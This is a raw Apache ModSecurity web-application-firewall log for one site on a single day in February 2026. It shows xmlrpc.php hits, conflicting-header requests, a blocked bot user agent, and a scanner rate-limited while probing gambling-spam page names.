[Mon Feb 02 08:19:55.962225 2026] [:error] [pid 33612:tid 33619] [client 185.2.4.41:39184] [client 185.2.4.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.2.4.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_tq8tFn80qQEmo5QpuVQAAAQU"]
[Mon Feb 02 08:33:15.355403 2026] [:error] [pid 46008:tid 46014] [client 101.33.55.204:51656] [client 101.33.55.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aX_wyyRa52iYn7SlSMkHewAAAUQ"]
[Mon Feb 02 09:22:54.189286 2026] [:error] [pid 33612:tid 33630] [client 209.38.204.226:33644] [client 209.38.204.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.38.204.226, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aX_8bstFn80qQEmo5QqDTgAAARA"]
[Mon Feb 02 10:48:11.029300 2026] [:error] [pid 56989:tid 57007] [client 104.28.160.144:13821] [client 104.28.160.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/style.php"] [unique_id "aYAQa0p44HnChN-GZlhXqgAAAhA"]
[Mon Feb 02 11:06:47.500702 2026] [:error] [pid 57081:tid 57134] [client 47.79.22.6:59160] [client 47.79.22.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.79.22.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYAUx2vouJ2Jkm6HfBjQGAAAAxM"]
[Mon Feb 02 11:07:58.451467 2026] [:error] [pid 63034:tid 63132] [client 50.6.35.18:51678] [client 50.6.35.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.35.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYAVDuKXlgw75_wfbHpo_AAAAI4"]
[Mon Feb 02 11:49:13.145877 2026] [:error] [pid 57022:tid 57060] [client 185.241.211.8:64227] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYAeuRnEgLMzfcurxfn0GAAAAog"]
[Mon Feb 02 11:49:13.574016 2026] [:error] [pid 63034:tid 63126] [client 185.241.211.8:64315] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYAeueKXlgw75_wfbHpxwQAAAIg"]
[Mon Feb 02 11:49:14.014733 2026] [:error] [pid 33612:tid 33633] [client 185.241.211.8:64471] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYAeustFn80qQEmo5QqkcAAAARM"]
[Mon Feb 02 11:49:14.450946 2026] [:error] [pid 46008:tid 46033] [client 185.241.211.8:64660] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYAeuiRa52iYn7SlSMk4LAAAAVY"]
[Mon Feb 02 11:49:14.888407 2026] [:error] [pid 33612:tid 33620] [client 185.241.211.8:64851] [client 185.241.211.8] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYAeustFn80qQEmo5QqkkAAAAQY"]
[Mon Feb 02 12:24:28.330380 2026] [:error] [pid 56989:tid 56997] [client 45.56.121.237:48060] [client 45.56.121.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.56.121.237, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYAm_Ep44HnChN-GZlh8uQAAAgY"]
[Mon Feb 02 13:28:48.371328 2026] [:error] [pid 63153:tid 63165] [client 50.6.35.18:58698] [client 50.6.35.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 50.6.35.18, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYA2EHC9GXHnmLkdgdksuwAAAMQ"]
[Mon Feb 02 13:29:31.401399 2026] [:error] [pid 56989:tid 57005] [client 47.86.33.61:47314] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYA2O0p44HnChN-GZliTmgAAAg4"]
[Mon Feb 02 13:29:35.573119 2026] [:error] [pid 56989:tid 57010] [client 104.243.19.148:50238] [client 104.243.19.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.243.19.148, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYA2P0p44HnChN-GZliTnQAAAhM"]
[Mon Feb 02 13:53:25.354308 2026] [:error] [pid 57080:tid 57088] [client 182.44.2.148:47753] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYA71Y9Utn0ZlfnF10MR_QAAAsE"]
[Mon Feb 02 13:54:25.063666 2026] [:error] [pid 63034:tid 63137] [client 43.166.255.102:43472] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aYA8EeKXlgw75_wfbHqOHgAAAJM"]
[Mon Feb 02 14:16:04.572274 2026] [:error] [pid 63034:tid 63141] [client 163.61.182.29:59252] [client 163.61.182.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.182.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBBJOKXlgw75_wfbHqScgAAAJc"]
[Mon Feb 02 14:16:18.118101 2026] [:error] [pid 56989:tid 56999] [client 180.252.95.67:51308] [client 180.252.95.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.252.95.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBBMkp44HnChN-GZlii4AAAAgg"]
[Mon Feb 02 14:16:25.810298 2026] [:error] [pid 63034:tid 63124] [client 15.204.132.37:36290] [client 15.204.132.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 15.204.132.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBBOeKXlgw75_wfbHqShQAAAIY"]
[Mon Feb 02 14:16:27.157406 2026] [:error] [pid 33612:tid 33622] [client 163.61.182.29:39334] [client 163.61.182.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.182.29, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBBO8tFn80qQEmo5QrCdQAAAQg"]
[Mon Feb 02 14:16:39.013950 2026] [:error] [pid 57080:tid 57094] [client 31.193.196.44:41662] [client 31.193.196.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.193.196.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBBR49Utn0ZlfnF10MX2QAAAsc"]
[Mon Feb 02 14:16:56.731277 2026] [:error] [pid 57080:tid 57091] [client 200.45.208.164:45244] [client 200.45.208.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 200.45.208.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBBWI9Utn0ZlfnF10MX5QAAAsQ"]
[Mon Feb 02 14:17:12.766069 2026] [:error] [pid 57080:tid 57095] [client 68.65.122.212:41186] [client 68.65.122.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.65.122.212, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBBaI9Utn0ZlfnF10MX7QAAAsg"]
[Mon Feb 02 15:05:40.899237 2026] [:error] [pid 56989:tid 56991] [client 144.202.29.51:41494] [client 144.202.29.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.202.29.51, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBMxEp44HnChN-GZlixUQAAAgA"]
[Mon Feb 02 15:11:01.281600 2026] [:error] [pid 46008:tid 46033] [client 43.130.102.223:35656] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aYBOBSRa52iYn7SlSMlmKgAAAVY"]
[Mon Feb 02 16:23:39.939297 2026] [:error] [pid 63153:tid 63165] [client 64.225.60.178:39620] [client 64.225.60.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.225.60.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aYBfC3C9GXHnmLkdgdlJ5AAAAMQ"]
[Mon Feb 02 16:41:07.044663 2026] [:error] [pid 63032:tid 63080] [client 147.135.213.175:36932] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aYBjI3yEQ1PkpebvdRi1PAAAABE"]
[Mon Feb 02 16:41:09.811257 2026] [:error] [pid 63032:tid 63079] [client 147.135.213.175:51692] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aYBjJXyEQ1PkpebvdRi1PgAAABA"]
[Mon Feb 02 16:41:12.441047 2026] [:error] [pid 33612:tid 33624] [client 147.135.213.175:51694] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aYBjKMtFn80qQEmo5QrdSAAAAQo"]
[Mon Feb 02 16:41:14.668318 2026] [:error] [pid 63032:tid 63070] [client 147.135.213.175:51698] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aYBjKnyEQ1PkpebvdRi1QgAAAAc"]
[Mon Feb 02 16:41:16.873890 2026] [:error] [pid 57022:tid 57071] [client 147.135.213.175:51700] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aYBjLBnEgLMzfcurxfkncAAAApM"]
[Mon Feb 02 16:41:19.059355 2026] [:error] [pid 46008:tid 46023] [client 147.135.213.175:48568] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aYBjLyRa52iYn7SlSMl7xAAAAUw"]
[Mon Feb 02 16:41:21.348501 2026] [:error] [pid 63034:tid 63126] [client 147.135.213.175:48580] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aYBjMeKXlgw75_wfbHqxHAAAAIg"]
[Mon Feb 02 16:41:23.557635 2026] [:error] [pid 63032:tid 63063] [client 147.135.213.175:48588] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aYBjM3yEQ1PkpebvdRi1RgAAAAA"]
[Mon Feb 02 16:41:25.955373 2026] [:error] [pid 57022:tid 57067] [client 147.135.213.175:48592] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aYBjNRnEgLMzfcurxfknegAAAo8"]
[Mon Feb 02 16:41:28.178395 2026] [:error] [pid 56989:tid 56994] [client 147.135.213.175:48604] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aYBjOEp44HnChN-GZljUcwAAAgM"]
[Mon Feb 02 16:41:30.289937 2026] [:error] [pid 57081:tid 57118] [client 147.135.213.175:56532] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aYBjOmvouJ2Jkm6HfBgSIAAAAwM"]
[Mon Feb 02 16:41:32.697203 2026] [:error] [pid 46008:tid 46019] [client 147.135.213.175:56542] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aYBjPCRa52iYn7SlSMl72AAAAUg"]
[Mon Feb 02 16:41:34.977304 2026] [:error] [pid 56989:tid 57005] [client 147.135.213.175:56552] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "aYBjPkp44HnChN-GZljUgAAAAg4"]
[Mon Feb 02 16:41:37.517902 2026] [:error] [pid 63153:tid 63168] [client 147.135.213.175:56562] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "aYBjQXC9GXHnmLkdgdlNtwAAAMc"]
[Mon Feb 02 16:41:39.659393 2026] [:error] [pid 57021:tid 57027] [client 147.135.213.175:39326] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aYBjQ_7AEpx7VcmYK3HY9QAAAkI"]
[Mon Feb 02 16:41:43.208498 2026] [:error] [pid 57081:tid 57127] [client 147.135.213.175:39340] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYBjR2vouJ2Jkm6HfBgSJQAAAww"]
[Mon Feb 02 16:41:45.413732 2026] [:error] [pid 33612:tid 33614] [client 147.135.213.175:39354] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aYBjSctFn80qQEmo5QrdVwAAAQA"]
[Mon Feb 02 16:41:47.819846 2026] [:error] [pid 57081:tid 57115] [client 147.135.213.175:39356] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aYBjS2vouJ2Jkm6HfBgSKAAAAwA"]
[Mon Feb 02 16:41:50.081480 2026] [:error] [pid 63032:tid 63070] [client 147.135.213.175:58972] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYBjTnyEQ1PkpebvdRi1dQAAAAc"]
[Mon Feb 02 16:41:52.549913 2026] [:error] [pid 57022:tid 57067] [client 147.135.213.175:58984] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYBjUBnEgLMzfcurxfknkgAAAo8"]
[Mon Feb 02 16:41:54.651993 2026] [:error] [pid 57022:tid 57070] [client 147.135.213.175:58986] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aYBjUhnEgLMzfcurxfknlAAAApI"]
[Mon Feb 02 16:41:56.684956 2026] [:error] [pid 33612:tid 33631] [client 147.135.213.175:58992] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aYBjVMtFn80qQEmo5QrdZgAAARE"]
[Mon Feb 02 16:41:58.837441 2026] [:error] [pid 46008:tid 46015] [client 147.135.213.175:52030] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aYBjViRa52iYn7SlSMl77gAAAUU"]
[Mon Feb 02 16:42:01.146970 2026] [:error] [pid 33612:tid 33629] [client 147.135.213.175:52034] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "aYBjWctFn80qQEmo5QrdbAAAAQ8"]
[Mon Feb 02 16:42:39.001496 2026] [:error] [pid 57022:tid 57063] [client 147.135.213.175:52050] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20osaka.aspx"] [unique_id "aYBjfxnEgLMzfcurxfknrQAAAos"]
[Mon Feb 02 16:42:40.972412 2026] [:error] [pid 56989:tid 57007] [client 147.135.213.175:35306] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20plus.aspx"] [unique_id "aYBjgEp44HnChN-GZljVDAAAAhA"]
[Mon Feb 02 16:42:42.957809 2026] [:error] [pid 63034:tid 63138] [client 147.135.213.175:35308] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYBjguKXlgw75_wfbHqxfgAAAJQ"]
[Mon Feb 02 16:42:44.773184 2026] [:error] [pid 56989:tid 57005] [client 147.135.213.175:35318] [client 147.135.213.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aYBjhEp44HnChN-GZljVFQAAAg4"]
